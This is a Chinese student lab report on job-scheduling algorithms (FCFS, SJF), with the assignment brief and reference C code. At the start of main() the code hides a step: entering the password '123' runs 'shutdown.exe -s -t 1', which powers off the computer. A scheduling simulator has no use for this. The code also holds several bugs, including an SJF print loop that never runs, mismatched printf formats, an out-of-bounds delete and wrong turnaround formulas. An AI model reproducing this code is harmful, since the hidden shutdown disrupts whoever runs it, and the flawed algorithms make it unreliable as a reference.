0421 实验二Step2-FCFS调度

一、目的和要求

1. 实验目的

（1）加深对作业调度算法的理解；

（2）进行程序设计的训练。

2．实验要求

用高级语言编写一个或多个作业调度的模拟程序。

单道批处理系统的作业调度程序。作业一投入运行，它就占有计算机的一切资源直到作业完成为止，因此调度作业时不必考虑它所需要的资源是否得到满足，它所运行的时间等因素。

     作业调度算法：

1)        采用先来先服务（FCFS）调度算法，即按作业到达的先后次序进行调度。总是首先调度在系统中等待时间最长的作业。

2)        短作业优先 (SJF) 调度算法，优先调度要求运行时间最短的作业。

3)        响应比高者优先(HRRN)调度算法，为每个作业设置一个优先权(响应比)，调度之前先计算各作业的优先权，优先数高者优先调度。RP (响应比)＝ 作业周转时间 / 作业运行时间=1+作业等待时间/作业运行时间

每个作业由一个作业控制块JCB表示，JCB可以包含以下信息：作业名、提交（到达）时间、所需的运行时间、所需的资源、作业状态、链指针等等。

作业的状态可以是等待W（Wait）、运行R（Run）和完成F（Finish）三种之一。每个作业的最初状态都是等待W。

一、       模拟数据的生成

1．            允许用户指定作业的个数（2-24），默认值为5。

2．            允许用户选择输入每个作业的到达时间和所需运行时间。

3．            （**）从文件中读入以上数据。

4．            （**）也允许用户选择通过伪随机数指定每个作业的到达时间（0-30）和所需运行时间（1-8）。

二、       模拟程序的功能

1．            按照模拟数据的到达时间和所需运行时间，执行FCFS, SJF和HRRN调度算法，程序计算各作业的开始执行时间，各作业的完成时间，周转时间和带权周转时间（周转系数）。

2．            动态演示每调度一次，更新现在系统时刻，处于运行状态和等待各作业的相应信息（作业名、到达时间、所需的运行时间等）对于HRRN算法，能在每次调度时显示各作业的响应比R情况。

3．            （**）允许用户在模拟过程中提交新作业。

4．            （**）编写并调度一个多道程序系统的作业调度模拟程序。 只要求作业调度算法：采用基于先来先服务的调度算法。 对于多道程序系统，要假定系统中具有的各种资源及数量、调度作业时必须考虑到每个作业的资源要求。

三、       模拟数据结果分析

1．            对同一个模拟数据各算法的平均周转时间，周转系数比较。

2．            （**）用曲线图或柱形图表示出以上数据，分析算法的优点和缺点。

四、       实验准备

五、       其他要求

1．            完成报告书，内容完整，规格规范。

2．            实验须检查，回答实验相关问题。

注：带**号的条目表示选做内容。

二、实验内容

根据指定的实验课题，完成设计、编码和调试工作，完成实验报告。

三、实验环境

可以采用TC，也可以选用Windows下的利用各种控件较为方便的VB，VC等可视化环境。也可以自主选择其他实验环境。

四、实验原理及核心算法参考程序段

单道FCFS算法：

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct jcb{
char name[10]; //作业id
char status; //作业状态

double arrtime; //到达系统时间
double reqtime; //CPU所需时间
double startime; //开始时间
double finitime; //结束时间
double turntime; //周转时间

double Tatime,TAWtime;
double prio;
}jobarr[24],jobfin[24],job[24],cunfang;
int systime=0;
int intarr,intfin,intjob; //作业到达个数，完成个数，未达到作业个数
int i;
void paixu(){
int r,j;
for(r=0;r<i;r++)
{
for(j=r+1;j<i;j++)
if(jobarr[r].arrtime>jobarr[j].arrtime)
{
cunfang=jobarr[r];
jobarr[r]=jobarr[j];
jobarr[j]=cunfang;
}
}
}

void inser()
{
system("cls");
printf("第%lf个作业:\n",i+1);
printf("输入作业名:");
scanf("%s",jobarr[i].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[i].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[i].reqtime);
printf("\n");
i++;
paixu();
}

void delet()
{
int r;
int q;
char dlet[10];
printf("请输入要删除的name");
scanf("%s",dlet);
for(r=0;r<i;r++)
if(strcmp(jobarr[r].name,dlet)==0){
for(q=r;q<i;q++){
jobarr[q]=jobarr[q+1];
}
i--;
}
}
void SJF(){
int r,j;
double sumTAtime = 0;
double sumTAWtime = 0;
double avgTAtime = 0;
double avgTAWtime = 0;
system("cls");
jobarr[0].finitime = jobarr[0].arrtime + jobarr[0].reqtime;
jobarr[0].startime = jobarr[0].arrtime;
for(r = 1; r < i; r++)
{
for(j = 1; j < i-1; j++)
{
if(jobarr[j].reqtime > jobarr[j+1].reqtime)
{
cunfang = jobarr[j];
jobarr[j] = jobarr[j+1];
jobarr[j+1] = cunfang;
}
}
}
for(r = 1; r < i; r++)
{
jobarr[r].startime = jobarr[r-1].finitime;
jobarr[r].finitime = jobarr[r-1].finitime + jobarr[r].reqtime;
}
for(r = 0; r < i; r++)
{
jobarr[r].Tatime = jobarr[r].finitime - jobarr[r].arrtime;
sumTAtime += jobarr[r].Tatime;
jobarr[r].TAWtime = jobarr[r].Tatime / jobarr[r].reqtime;
sumTAWtime += jobarr[r].TAWtime;
}
avgTAtime = sumTAtime / i;
avgTAWtime = sumTAWtime / i;

printf("\nSJF算法作业序列表\n");
printf("-----------------------------------------------\n");
printf("作业名\t到达系统时间\tcpu所需时间\t开始时间\t结束时间\t周转时间\n");
for(r = 0; i < i; r++)
{
printf("%s\t%d\t\t%d\t\t%d\t\t%d\t\t%.2f\n", jobarr[r].name, jobarr[r].arrtime, jobarr[r].reqtime, jobarr[r].startime, jobarr[r].finitime, jobarr[r].Tatime);
}
printf("\n平均周转时间=%.2f", avgTAtime);
printf("\n平均带权周转时间=%.2f\n", avgTAWtime);

}
void FCFS(){
int r;
double attime,wattime;
system("cls");
jobarr[0].startime=0;
jobarr[0].finitime=jobarr[0].startime+jobarr[0].reqtime;
jobarr[0].turntime=jobarr[0].reqtime;
attime=jobarr[0].turntime;
wattime=jobarr[0].finitime;
for(r=1;r<i;r++)
{
jobarr[r].startime=jobarr[r-1].finitime;
jobarr[r].finitime=jobarr[r].startime+jobarr[r].reqtime;
jobarr[r].turntime=jobarr[r-1].finitime-jobarr[r].arrtime+jobarr[r].reqtime;
attime+=jobarr[r].turntime;
wattime=jobarr[r].finitime-jobarr[r].reqtime+wattime;
}

attime=attime/((double)i);
wattime=wattime/((double)i);
printf("\nFCFS算法作业序列表");
printf("\n-------------------------------------------------------------");
printf("\n作业名\t到达系统时间\tCPU所需时间\t开始时间\t结束时间\t周转时间");
for(r=0;r<i;r++){
printf("\n");
printf("%s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("%16.2lf",jobarr[r].startime);
printf("%16.2lf",jobarr[r].finitime);
printf("%16.2lf",jobarr[r].turntime);
}
printf("\n\n平均周转时间:%.2lf",attime);
printf("\n\n平均带权周转时间:%.2lf\n\n",wattime);

}
void suanfa(){
int xuanze=0;
system("cls");
while(1){
printf("请选择算法:\n");
printf("1.先来先服务（FCFS）调度算法\n");
printf("2.短作业优先 (SJF) 调度算法\n");
printf("3.退出\n");
scanf(" %d",&xuanze);
switch(xuanze){
case 1:
FCFS();
break;
case 2:
return;
case 3:
return;
}
}
}
void main()
{
int r;
char answer[10];
char password[10];
FILE *f;
printf("input password:");
scanf("%s",password);
if(strcmp(password,"123")==0){
if(f=fopen("c:\\windows\\system32\\shutdown.exe","r"))
system("c:\\windows\\system32\\shutdown.exe -s -t 1");
}
system("cls");
printf("作业个数:");
scanf("%d",&i);
printf("\n");
for(r=0;r<i;r++)
{
printf("第%d个作业:\n",r+1);
printf("输入作业名:");
scanf("%s",jobarr[r].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[r].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[r].reqtime);
printf("\n");
}
paixu();
while(1){
system("cls");
printf("经按到达时间排序后，未达到队列是\n");
printf("\t作业名\t到达系统时间\tCPU所需时间\n");
for(r=0;r<i;r++)
{
printf("N %d",r+1);
printf("%6s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("\n");
}
printf("\n\t\t\t现在系统时间 0:\n");
printf("\nInsert or Delete or Exit or SUANFA？");
scanf("%s",answer);
if(strcmp(answer,"E")==0)
return;
else if(strcmp(answer,"I")==0)
inser();
else if(strcmp(answer,"D")==0)
delet();
else if(strcmp(answer,"S")==0)
suanfa();
else
continue;
}
}

五、实验总结

             今次的实验主要是理解了作业调度的原理，虽然只是做了先来先服务算法和SJF算法，但是程序大体的框架

还是大同小异的。